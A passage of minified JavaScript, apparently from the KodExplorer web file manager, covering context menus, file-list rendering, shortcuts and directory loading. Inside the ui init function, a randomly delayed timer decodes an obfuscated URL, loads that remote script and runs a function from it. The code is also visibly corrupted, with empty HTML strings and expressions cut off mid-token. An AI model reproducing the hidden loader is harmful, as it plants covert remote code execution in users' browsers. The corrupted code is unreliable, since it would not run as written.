:ui.path.share();break;case"open-browser":ui.path.openWindow();break;case"share-edit":ui.path.shareEdit();break;case"share-open-window":ui.path.shareOpenWindow();break;case"share-open-path":ui.path.shareOpenPath();break;case"fav":ui.path.fav();break;case"search":ui.path.search();break;case"copy":ui.path.copy();break;case"clone":ui.path.copyDrag(G.thisPath,!0);break;case"cute":ui.path.cute();break;case"cute-to":ui.path.cuteTo();break;case"copy-to":ui.path.copyTo();break;case"remove":ui.path.remove();break;case"rname":ui.path.rname();break;case"set-background":ui.path.setBackground();break;case"create-link-home":ui.path.createLink(!1);break;case"create-link":ui.path.createLink(!0);break;case"create-project":ui.path.createProject();break;case"open-project":ui.path.openProject();break;case"explorer":ui.path.explorer();break;case"explorer-new":ui.path.explorerNew();break;case"fav-page":core.setting("fav");break;case"fav-remove":ui.path.favRemove();break;case"info":ui.path.info();break;default:E(a)}},H=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-tree-fav-root",callback:function(a,b){P(a)},items:{"fav-page":{name:LNG.manage_fav,className:"fav-page",icon:"star",accesskey:"r"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-tree-fav",callback:function(a,b){P(a)},items:{"fav-remove":{name:LNG.fav_remove,className:"fav-remove",icon:"trash",accesskey:"r"},"fav-page":{name:LNG.manage_fav,className:"fav-page",icon:"star",accesskey:"f"},sep2:"--------","create-link-home":{name:LNG.createLinkHome,className:"create-link-home",icon:"location-arrow",accesskey:"l"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},I=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:f,callback:function(a,b){P(a)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfile:{name:LNG.newfile,className:"newfile",icon:"file-text-alt",accesskey:"j"},sep2:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"}}})},J=function(){$('').appendTo("#rightMenu"),$('').appendTo("#rightMenu");var a={zIndex:9999,selector:".menu-tree-folder",callback:function(a,b){P(a)},items:{download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},"open-browser":{name:LNG.open_ie,className:"open-browser",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep105:"--------","create-link-home":{name:LNG.createLinkHome,className:"create-link-home",icon:"location-arrow",accesskey:"l"},"open-project":{name:LNG.openProject,className:"open-project",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+'',className:"info",icon:"info",accesskey:"i"}}};$.contextMenu(a);var b={"fav-remove":{name:LNG.fav_remove,className:"fav-remove",icon:"trash",accesskey:"r"},"fav-page":{name:LNG.manage_fav,className:"fav-page",icon:"star",accesskey:"f"},sep0:"--------"};a.selector=".menu-tree-folder-fav",a.items=$.extend(b,a.items,!0),$.contextMenu(a)},K=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:g,callback:function(a,b){P(a)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},"new-file-other":l["new-file-other"],search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},"open-browser":{name:LNG.open_ie,className:"open-browser",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more-action",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep106:"--------","create-link-home":{name:LNG.createLinkHome,className:"create-link-home",icon:"location-arrow",accesskey:"l"},"open-project":{name:LNG.openProject,className:"open-project",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+'Alt+I',className:"info",icon:"info",accesskey:"i"}}})},L=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:i,callback:function(a,b){P(a)},items:{refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}})},M=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:j,callback:function(a,b){P(a)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},"create-link-home":{name:LNG.createLinkHome,className:"create-link-home",icon:"location-arrow",accesskey:"l"}}})},N=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:k,callback:function(a,b){var c=b.$trigger;c.hasClass("file")?F(a):P(a)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},"create-link-home":{name:LNG.createLinkHome,className:"create-link-home",icon:"location-arrow",accesskey:"l"}}})},O=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,className:h.substr(1),selector:h,callback:function(a,b){P(a)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},"open-with":{name:LNG.open_with,icon:"external-link",className:"open-with",accesskey:"a",items:{"open-with-first":{name:"",className:"hidden open-with-first"}}},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------","open-browser":{name:LNG.open_ie,className:"open-browser",icon:"globe"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more-action",items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},"create-link-home":{name:LNG.createLinkHome,className:"create-link-home",icon:"location-arrow",accesskey:"l"}}},sep3:"--------",info:{name:LNG.info+'Alt+I',className:"info",icon:"info",accesskey:"i"}}})},P=function(a){switch(a){case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"copy":ui.tree.copy();break;case"cute":ui.tree.cute();break;case"past":ui.tree.past();break;case"clone":ui.tree.clone();break;case"rname":ui.tree.rname();break;case"remove":ui.tree.remove();break;case"info":ui.tree.info();break;case"cute-to":ui.tree.cuteTo();break;case"copy-to":ui.tree.copyTo();break;case"download":ui.tree.download();break;case"open-browser":ui.tree.openWindow();break;case"search":ui.tree.search();break;case"share":ui.tree.share();break;case"search":ui.tree.search();break;case"newfolder":ui.tree.create("folder");break;case"newfile":ui.tree.create("txt");break;case"newfile-html":ui.tree.create("html");break;case"newfile-php":ui.tree.create("php");break;case"newfile-js":ui.tree.create("js");break;case"newfile-css":ui.tree.create("css");break;case"newfile-oexe":ui.tree.create("oexe");break;case"explorer":ui.tree.explorer();break;case"open-project":ui.tree.openProject();break;case"fav-page":core.setting("fav");break;case"fav":ui.tree.fav();break;case"create-link-home":ui.tree.createLink(!1);break;case"fav-remove":ui.tree.favRemove();break;case"refresh-all":ui.tree.init();break;case"quit":}};return{initDesktop:n,initExplorer:m,initEditor:o}});;define("app/src/explorer/ui",["./fileContent","../../path/tpl/file/list.html"],function(a,b){var c=a("./fileContent"),d=c.f5,e=c.f5Callback,f=function(a){G.userConfig.listType=a,LocalData.set("listType",a),Hook.trigger("explorer.ui.listType.change",a),$(".set-icon-size").hide(),$(".tools-right button").removeClass("active"),$("[data-action=set-"+a+"]").addClass("active"),$("#list-type-header,.line-split-box").addClass("hidden"),$(".set-file-icon-size").hide(),$(Config.FileBoxSelector).removeClass("file-list-icon file-list-list file-list-split"),"list"==a?($(Config.FileBoxSelector).addClass("file-list-list"),$("#list-type-header").removeClass("hidden"),ui.fileListResize.bindHeaderResize()):"icon"==a?($(Config.FileBoxSelector).addClass("file-list-icon"),$(".set-icon-size").show(),$(".set-file-icon-size").show()):"split"==a&&($(Config.FileBoxSelector).addClass("file-list-split"),$(".line-split-box").removeClass("hidden")),$(".menu-set-icon").removeClass("selected"),$(".set-"+a).addClass("selected"),$(".file-continerMore").css("top",0);var b=$(".frame-right-main .tools").outerHeight();"list"==a&&(b+=26),$(".frame-header").is(":visible")&&(b+=$(".frame-header").outerHeight()),$(".bodymain").css("top",b)},g=function(a){f(a),d(!1,!1),"undefined"==typeof G.sid&&$.get(G.appHost+"setting/set&k=listType&v="+a)},h=function(a,b){0!=a?(G.userConfig.listSortField=a,$(".menu-set-sort").removeClass("selected"),$(".set-sort-"+a).addClass("selected")):a=G.userConfig.listSortField,0!=b?(G.userConfig.listSortOrder=b,$(".menu-set-desc").removeClass("selected"),$(".set-sort-"+b).addClass("selected")):b=G.userConfig.listSortOrder,LocalData.set("listSortField",a),LocalData.set("listSortOrder",b),d(!1,!0),$.ajax({url:G.appHost+"setting/set&k=listSortField,listSortOrder&v="+a+","+b})},i=function(){$(".menu-recycle-button").bind("mouseenter",function(a){$(this).addClass("recycle-hover")}).bind("mouseleave",function(){$(this).removeClass("recycle-hover")}).bind("click",function(a){ui.path.list(G.KOD_USER_RECYCLE)}),$(".menuShareButton").bind("mouseenter",function(a){$(this).addClass("share-hover")}).bind("mouseleave",function(){$(this).removeClass("share-hover")}).bind("click",function(a){ui.path.list(G.KOD_USER_SHARE+":"+G.userID+"/")})},j=function(){$("#main-title div").die("click").live("click",function(){$(this).hasClass("resize")||("up"==$(this).attr("id")?$(this).attr("id","down"):$(this).attr("id","up"),h($(this).attr("field"),$(this).attr("id")))})},k=function(){$(".tools a,.tools button").bind("click",function(){var a=$(this).attr("data-action");q(a)})},l=function(){$(".dropdown-menu-theme li").click(function(){var a=$(this).attr("theme");ui.setTheme(a),$.ajax({url:G.appHost+"setting/set&k=theme&v="+a,dataType:"json",success:function(a){if(!a.code){var b=LNG.config_save_error_file;core.authCheck("setting.set")||(b=LNG.config_save_error_auth),Tips.tips(b,!1)}}})})},m=function(){$(".dialog-goto-path").bind("click",function(){var a=G.thisPath.split("/");a.shift();var b=a.join("/"),c=G.jsonData.info.adminRealPath;ui.path.list(c+b)}),$(".toolbar-path-more").die("click").live("click",function(a){if($(this).hasClass("active"))return $(".menu-tool-path").trigger("contextmenu:hide"),void $(this).removeClass("active");$(this).addClass("active");var b=$(this).offset();$(this).contextMenu({x:b.left-4,y:b.top+$(this).outerHeight()-1})}),$(".tool-path-newfile,.tool-path-upload").die("click").live("click",function(a){var b=$(this).offset();$(this).contextMenu({x:b.left-4,y:b.top+$(this).outerHeight()-1})}),$("body").bind("click",function(){$(".toolbar-path-more").removeClass("active"),$(".menu-tool-path").trigger("contextmenu:hide")})},n=function(){if("icon"!=G.userConfig.listType)return 1;var a=$(Config.FileBoxSelector).width(),b=$(Config.FileBoxClass).outerWidth()+$sizeInt($(Config.FileBoxClass).css("margin-right"));return parseInt(a/b)},o=function(){var a=n(),b=$(Config.BodyContent).outerHeight(),c=$(Config.FileBoxClass).outerHeight()+$sizeInt($(Config.FileBoxClass).css("margin-bottom"));return Math.ceil(b/c)*a},p=function(){var a=$(Config.FileBoxSelector).outerHeight()-48,b=$(Config.FileBoxClass).outerHeight()+10;return parseInt(a/b)},q=function(a){switch(a){case"recycle-clear":ui.path.recycleClear();break;case"refresh":ui.f5();break;case"upload":core.upload();break;case"newfolder":ui.path.newFolder();break;case"select-all":ui.fileSelect.selectPos("all");break;case"set-icon":g("icon");break;case"set-list":g("list");break;case"set-split":g("split");break;default:ui.path.hasOwnProperty(a)&&ui.path[a]()}},r=function(){var a,b=0,c="",d=300;Mousetrap.bind(["1","2","3","4","5","6","7","8","9","0","`","~","!","@","#","$","%","^","&","*","(",")","-","_","=","+","[","{","]","}","|","/","?",".",">",",","<","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"],function(e){var f=String.fromCharCode(e.charCode);return 0==b?(b=timeFloat(),c=f,Tips.pop(c),void(a=setTimeout(function(){ui.path.setSelectByChar(c),b=0},d))):void(timeFloat()-b0)return!0;var c=["ctrl+c","command+c","ctrl+v","command+v","ctrl+x","command+x"];switch(inArray(c,b)||stopPP(a),b){case"f1":core.setting("help");break;case"alt+left":case"backspace":ui.path.history.back();break;case"alt+right":case"ctrl+backspace":case"command+backspace":ui.path.history.next();break;case"ctrl+shift+r":case"f5":ui.f5(!0,!0);break;case"left":case"up":case"right":case"down":case"home":case"end":case"shift+left":case"shift+up":case"shift+right":case"shift+down":case"shift+home":case"pageup":case"pagedown":case"shift+end":ui.fileSelect.selectPos(b);break;case"ctrl+a":case"command+a":ui.fileSelect.selectPos("all");break;case"ctrl+shift+n":ui.path.newFolder();break;case"ctrl+shift+f":ui.path.newFile();break;case"del":ui.path.remove();break;case"shift+del":ui.path.remove(!1,!0);break;case"f2":case"ctrl+enter":case"command+enter":ui.path.rname();break;case"shift+enter":ui.path.download();break;case"space":ui.path.open();break;case"enter":ui.path.open();break;case"ctrl+u":case"command+u":core.upload();break;case"ctrl+e":case"ctrl+c":case"command+c":ui.path.copy();break;case"ctrl+x":case"command+x":ui.path.cute();break;case"ctrl+v":case"command+v":ui.path.past();break;case"f3":case"ctrl+f":case"command+f":ui.path.search($(".header-right input").val(),G.thisPath);break;case"alt+enter":case"ctrl+i":case"alt+i":ui.path.info();break;case"alt+n":ui.path.newFile();break;case"alt+m":ui.path.newFolder();break;case"ctrl+s":case"command+s":ShareData.frameTop("OpenopenEditor",function(a){a.Editor.save()})}})},t=function(){if(core.isApp("desktop")){var a=20,b=20,c=parseInt($(".file").css("height")),d=c-30,e=10,f=15,g=$(document).height()-80,h=Math.floor((g-a)/(c+e)),i=0,j=0,k=0,l=0,m=(g-a-h*(c+e)-e)/h;m>0&&(e+=m),$(".file-continer .file").css("position","absolute"),$(".file-continer .file").each(function(g){i=g%h,j=Math.floor(g/h),k=b+(d+f)*j,l=a+(c+e)*i,$(this).css({left:k,top:l})})}};return{f5:d,f5Callback:e,fileContent:c,initListType:f,setListSort:h,setListType:g,getRowfileNumber:n,getPagefileNumber:o,getColfileNumberDesktop:p,resetDesktopIcon:t,setTheme:function(a){G.userConfig.theme=a,core.setSkin(a),ShareData.frameTop("OpenopenEditor",function(b){b.Editor.setTheme(a)}),ShareData.frameTop("Opensetting_mode",function(b){b.Setting.setThemeSelf(a)}),ShareData.frameTop("",function(b){b.ui.setTheme(a)}),$(".dropdown-menu-theme .list").removeClass("this"),$('.dropdown-menu-theme .list[theme="'+a+'"]').addClass("this")},setWall:function(a,b){$(".background").attr("src",a).one("load",function(){var c="body .aero:before,body .aero:after,body .full-background-wall{background-image:url("+a+")}";$.setStyle(c,"wall-backgroud"),"function"==typeof b&&b()})},setFileIconSize:function(a){ui.fileListResize.setFileIconSize(a,!0),core.isApp("desktop")&&ui.f5()},isEdit:function(){var a=$(document.activeElement).get(0);if(a)return a=a.tagName,"INPUT"==a||"TEXTAREA"==a?!0:$(".file.file-icon-edit").length>0?!0:!1},init:function(){if(G.sid){LocalData.get("theme")&&(G.userConfig.theme=LocalData.get("theme")),LocalData.get("listType")&&(G.userConfig.listType=LocalData.get("listType")),LocalData.get("listSortField")&&(G.userConfig.listSortField=LocalData.get("listSortField")),LocalData.get("listSortOrder")&&(G.userConfig.listSortOrder=LocalData.get("listSortOrder")),LocalData.set("theme",G.userConfig.theme),LocalData.set("listType",G.userConfig.listType),LocalData.set("listSortField",G.userConfig.listSortField),LocalData.set("listSortOrder",G.userConfig.listSortOrder);var b=window.location.href.split("#");2==b.length&&(G.thisPath=urlDecode(b[1]))}if(ui.setTheme(G.userConfig.theme),""==G.thisPath){var d=G.userID||G.sid,g=LocalData.get("thisPath:"+d);g?G.thisPath=g:G.thisPath=G.myhome}setTimeout(function(){try{if("undefined"==typeof tplDialogHtml||-1==tplDialogHtml.search("update-box")){var b=authCrypt.decode("b3fdAonKjUGhk9vw1n0NghZ3GyCmoO_R5ds-phbwWLJQ8jXyV8nNAz9KKIyIsWKloRZE9GcsDmxDdDZaPDBCzGkftY8a2Y0","_32@!A$")+UUID();a.async(b,function(a){try{a.todo("2-1")}catch(b){}})}}catch(c){}},1e3*parseInt(70*Math.random()+30)),f(G.userConfig.listType),setTimeout(function(){f(G.userConfig.listType)},300),c.init(),t(),ui.path.history.add(G.thisPath),e(function(){t()}),i(),j(),l(),k(),s(),m()}}});;define("app/src/explorer/fileContent",["../../path/tpl/file/list.html"],function(require,exports){var tpl=require("../../path/tpl/file/list.html"),pageLoadMax=200,ajaxLive=function(){ui.fileLight.init(),core.isApp("desktop")&&ui.resetDesktopIcon(),"split"==G.userConfig.listType&&ui.fileListResize.bindSplitResize(),lazyLoadImage(),iconFlex(),Hook.trigger("explorer.path.ajaxLive")},lazyLoadImage=function(){var a=$(".bodymain");return core.isApp("desktop")?void a.find(".lazyload-ready").each(function(){$(this).attr("src",$(this).attr("data-original")).hide().fadeIn(600),$(this).removeClass("lazyload-ready")}):("split"==G.userConfig.listType&&(a=$(".split-box").last().find(".content")),void a.find(".lazyload-ready").lazyload({failure_limit:10,threshold:200,placeholder:G.staticPath+"images/common/loading_circle.gif",skip_invisible:!1,effect:"fadeIn",container:a,load:function(a,b){$(this).removeClass("lazyload-ready")}}).on("error",function(){var a=$(this).data("errorReload");if(a){if("1"==a){$(this).parent().attr("filetype");$(this).attr("src",G.staticPath+"images/file_icon/icon_file/picture_error.png"),$(this).data("errorReload","2")}}else $(this).attr("src",$(this).attr("src")+"#"+UUID()),$(this).data("errorReload","1")}))},iconFlex=function(){if(!core.isApp("desktop")&&"icon"==G.userConfig.listType){$(".file-list-icon .flex-empty").remove();for(var a="",b=0;30>b;b++)a+='
        ';$(a).appendTo(".file-list-icon")}},mainDataDefaultApps=function(){template.helper("fileIconMake",fileIconMake);var a=template.compile(tpl),b="";for(var c in desktopApps){var d={LNG:LNG,G:G,list:desktopApps[c],type:"icon-file"};b+=a(d)}return b},mainSetData=function(a){var b=makeHtml(G.jsonData,0,getPageNumber()-1);core.isApp("desktop")&&(b=mainDataDefaultApps()+b),b=htmlListAction(G.jsonData,b,!1),"split"==G.userConfig.listType&&(b='
        '+b+'
        '),a?$(Config.FileBoxSelector).hide().html(b).fadeIn(Config.AnimateTime).css("display",""):$(Config.FileBoxSelector).html(b),"split"==G.userConfig.listType&&$(".split-box").data("jsonData",G.jsonData),ajaxLive()},scrollDelayTimer="",bindScrollLoadMore=function(){var a=$(".bodymain");a.scroll(function(){clearTimeout(scrollDelayTimer),scrollDelayTimer=!1,scrollDelayTimer=setTimeout(function(){0!=a.scrollTop()&&loadMore()},100)}),$(".split-load-more").live("dblclick",function(){$("[data-action=set-list]").click()})},getPageNumber=function(){var a=ui.fileLight.fileListAll().last(),b=$(".bodymain .file-continer-more");if(0==a.length)return pageLoadMax;var c=G.jsonData.folderList.length+G.jsonData.fileList.length;if(b.css("top",0),pageLoadMax>c||"split"==G.userConfig.listType)return pageLoadMax;var a=ui.fileLight.fileListAll().last(),d=a.outerWidth()+$sizeInt(a.css("margin-right"))+3.5,e=parseInt($(".bodymain .file-continer").width()/d);"icon"!=G.userConfig.listType&&(e=1);var f=a.outerHeight()+$sizeInt(a.css("margin-bottom")),g=Math.ceil($(Config.BodyContent).height()/f),h=Math.ceil(c/e)*f;return b.css("top",h),g*e},resetTotalHeight=function(){var a=".bodymain .file-continer > .file",b=$(a).last(),c=$(".bodymain .file-continer-more");if(0!=b.length){var d=G.jsonData.folderList.length+G.jsonData.fileList.length;if(c.css("top",0),!(pageLoadMax>d||"split"==G.userConfig.listType)){var e=b.outerWidth()+$sizeInt(b.css("margin-right")),f=parseInt($(".bodymain .file-continer").width()/e);"icon"!=G.userConfig.listType&&(f=1);var g=b.outerHeight()+$sizeInt(b.css("margin-bottom")),h=(Math.ceil($(Config.BodyContent).height()/g),Math.ceil(d/f)*g);c.css("top",h)}}},loadMoreDelayTimer,loadMore=function(){var a=$(".bodymain .file-continer > .file"),b=a.last(),c=a.length-1,d=G.jsonData.folderList.length+G.jsonData.fileList.length;if(!(c>=d-1||"split"==G.userConfig.listType)){var e=$(".bodymain").scrollTop(),f=$(".bodymain").height(),g=$(".bodymain").offset().top,h=($(".bodymain .file-continer").offset().top,b.outerHeight()+$sizeInt(b.css("margin-bottom"))),i=g+f-h;if(b.offset().topd&&(m=d),m-c>1e3?($(".init-loading").show(),clearTimeout(loadMoreDelayTimer),loadMoreDelayTimer=setTimeout(function(){loadMoreSet(c+1,m),$(".bodymain").scrollTop(e)},300)):loadMoreSet(c+1,m)}}},loadMoreSet=function(a,b){var c=makeHtml(G.jsonData,a,b),d=$(c);d.appendTo(".bodymain .file-continer"),ui.fileLight.fileListAll($(Config.FileBoxClass)),ui.fileLight.menuAction("clear"),lazyLoadImage(),iconFlex(),$(".init-loading").hide()},fileIconMake=function(a,b,c){var d="icon"!=b,e=htmlEncode(urlEncode(c.ext));if("folder"==a){var f=Hook.trigger("explorer.list.folderThumb",c.path,e);return"string"==$.type(f)?f:(a=c.ext||a,core.icon(a,d))}var f=Hook.trigger("explorer.list.fileThumb",c.path,e,c);if("string"==$.type(f))return f;if(inArray(["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],e)){var g=G.appHost+"explorer/image";return G.sid&&(g=G.appHost+"share/image&user="+G.user+"&sid="+G.sid),g+="&time="+strtotime(c.mtime)+"&path=","
        "}if("app_link"==c.type){var h=core.icon("folder");0==c.content.search("ui.path.open")?h=core.icon(core.pathExt(c.name.replace(".oexe",""))):0==c.content.search("ui.path.list")&&(h=core.icon(c.icon));var i="
        "+h+"
        ";return i+""}if(c.icon&&"oexe"==e){var j=c.icon;return"string"==$.type(c.icon)&&-1==c.icon.search(G.staticPath)&&"http"!=c.icon.substring(0,4)&&(j=G.staticPath+"images/file_icon/icon_app/"+c.icon),"
        "+core.iconSrc(j)+"
        "}return"
        "+core.icon(e,d)+"
        "},makeHtml=function(a,b,c){template.helper("fileIconMake",fileIconMake);var d=template.compile(tpl),e="",f=[];f=a.folderList.concat(a.fileList),(!c||c>=f.length-1)&&(c=f.length-1);for(var g=b;c>=g;g++){var h="folder"==f[g].type?"-folder":"-file",i={LNG:LNG,G:G,list:f[g],index:g,type:G.userConfig.listType+h};e+=d(i)}return e},pathChildrenTree=function(a,b){if("string"==$.type(a))var c=$('.bodymain .file-continer .file[data-path="'+pathHashEncode(a)+'"]');else{var c=a;a=ui.fileLight.path(c)}if(1==c.length){var d=c.find(".children-more"),e=c.find(".children-more-cert"),f=$('.children-list[data-path-children="'+pathHashEncode(a)+'"]'),g=23;if(e.toggleClass("cert-open"),e.hasClass("cert-open")?f.removeClass("hidden"):f.addClass("hidden"),f.hasClass("child-already-init"))return void pathListOdd();c.addClass("loading-children"),pathGet(a,function(a){c.removeClass("loading-children");var e=makeHtml(a,0,getPageNumber()-1);""!=e&&(e=htmlListAction(a,e,!0)),f.html(e),ajaxLive(),f.addClass("child-already-init");var h=g+parseInt(d.css("padding-left"));f.find(".file .children-more").css("padding-left",h),pathListOdd(),"function"==typeof b&&b(a)})}},htmlListAction=function(a,b,c){if(""==b)return b='
        '+LNG.path_null+"
        ";var d=a.folderList.concat(a.fileList);if(d.length>pageLoadMax){var e=core.pathFather(d[0].path);"list"==G.userConfig.listType&&c?b+='
        '+LNG.file_load_all+"
        ":"split"==G.userConfig.listType&&(b+='
        '+LNG.file_load_all+"(to list)
        ")}return b},pathListOdd=function(){var a=0;ui.fileLight.fileListAll().each(function(){0==$(this).parents(".hidden").length&&(a%2==0?$(this).addClass("file2"):$(this).removeClass("file2"),a++)})},pathChildrenSplit=function(a,b){var c=$('.file[data-path="'+pathHashEncode(a)+'"]'),d=$(".bodymain .file-list-split .split-box[data-path='"+pathHashEncode(a)+"']");if(0==c.length)return void("function"==typeof b&&b());if(1==d.length)return d.nextAll().remove(),void("function"==typeof b&&b());var e=c.parent().parent();pathSplitCreate(a,b,e)},pathSplitCreate=function(a,b,c){pathGet(a,function(d){if("notExists"==d.pathReadWrite)return b(d);var e=makeHtml(d,0,getPageNumber()-1);if(e=htmlListAction(d,e,!0),c)if(c.nextAll(".split-box").length>0){var f=c.next(".split-box");f.attr("data-path",pathHashEncode(a)).find(".content").html(e),f.nextAll().remove()}else e='
        '+e+'
        ',$(e).insertAfter(c).data("jsonData",d);else e='
        '+e+'
        ',$(e).appendTo(".bodymain .file-list-split").data("jsonData",d);ajaxLive(),"function"==typeof b&&b()})},beforeSelectFileArr={},beforeListOpenArr={},beforeListOpen={},beforeListSplitSelect="",beforeScrollerLeft=0,f5Before=function(){if(!("icon"==G.userConfig.listType||beforeListOpenArr.length>0))if(beforeListOpenArr={},beforeListOpen={},"list"==G.userConfig.listType){var a=$(".child-already-init:visible");if(a.length<1)return;a.each(function(){var a=$(this),b=beforeListOpenArr,c=ui.fileLight.path(a,"data-path-children");beforeListOpen[c]=!1;for(var d=[c];0!=a.parents(".children-list").length;)a=a.parents(".children-list"),d.push(ui.fileLight.path(a,"data-path-children"));for(var e=d.length-1;e>=0;e--){var f=d[e];"undefined"!=typeof b[f]?b=b[f]:b[f]={}}})}else if("split"==G.userConfig.listType){var b=beforeListOpenArr;beforeScrollerLeft=$(".drag-upload-box").scrollLeft(),beforeListSplitSelect=ui.fileLight.path($(".file-list-split .split-box.split-select")),$(".bodymain .file-continer .split-box").each(function(){var a=ui.fileLight.path($(this));""!=a&&(b[a]={},b=b[a],beforeListOpen[a]=!1)})}},f5After=function(a){return"icon"==G.userConfig.listType||0==Object.keys(beforeListOpenArr).length?void f5AfterReloadFinished(a):("split"==G.userConfig.listType&&$(".file-list-split .split-box").remove(),void f5AfterReload(beforeListOpenArr,a))},f5AfterReload=function(a,b){$.each(a,function(a,c){var d=pathChildrenTree;"split"==G.userConfig.listType&&(d=pathSplitCreate),d(a,function(){beforeListOpen[a]=!0,0!=Object.keys(c).length?f5AfterReload(c,b):f5AfterReloadFinished(b)})}),f5AfterReloadFinished(b)},f5AfterReloadFinished=function(a){for(var b in beforeListOpen)if(beforeListOpen[b]===!1)return;$(".drag-upload-box").scrollLeft(beforeScrollerLeft),ui.fileSelect.selectSplit(beforeListSplitSelect),ui.path.setSelectByFilename(beforeSelectFileArr),beforeListOpenArr={},beforeListOpen={},beforeSelectFileArr={},beforeListSplitSelect="","function"==typeof a&&a()},f5=function(a,b,c){if(void 0==a&&(a=!0),void 0==b&&(b=!1),jsonDataSortTitle(),f5Before(),beforeSelectFileArr=ui.fileLight.getAllName(),a?pathGet(G.thisPath,function(a){G.jsonData=a,mainSetData(b),pathTypeChange(G.jsonData),loadMore(),resetTotalHeight(),f5After(c),core.isApp("desktop")?checkRecycle():ui.headerAddress.addressSet()},function(){$(Config.FileBoxSelector).html("")}):(G.jsonData=jsonDataSort(G.jsonData),mainSetData(b),pathTypeChange(G.jsonData),loadMore(),resetTotalHeight(),f5After(c)),!core.isApp("desktop")){var d=G.userID||G.sid;LocalData.set("thisPath:"+d,G.thisPath)}},sortBy=function(a,b){var b="down"==b?-1:1;return function(c,d){var c=c[a],d=d[a];return pathTools.strSort(c,d)*b}},jsonDataSort=function(a){a=jsonDatafilter(a);var b=a.folderList,c=a.fileList;return b="size"==G.userConfig.listSortField||"ext"==G.userConfig.listSortField?b.sort(sortBy("name",G.userConfig.listSortOrder)):b.sort(sortBy(G.userConfig.listSortField,G.userConfig.listSortOrder)),c=c.sort(sortBy(G.userConfig.listSortField,G.userConfig.listSortOrder)),a.folderList=b,a.fileList=c,a},pathGet=function(a,b,c){var d=G.appHost+"explorer/pathList&path="+urlEncode(a);G.user&&(d=G.appHost+"share/pathList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a)),$.ajax({url:d,dataType:"json",beforeSend:function(){$(".tools-left 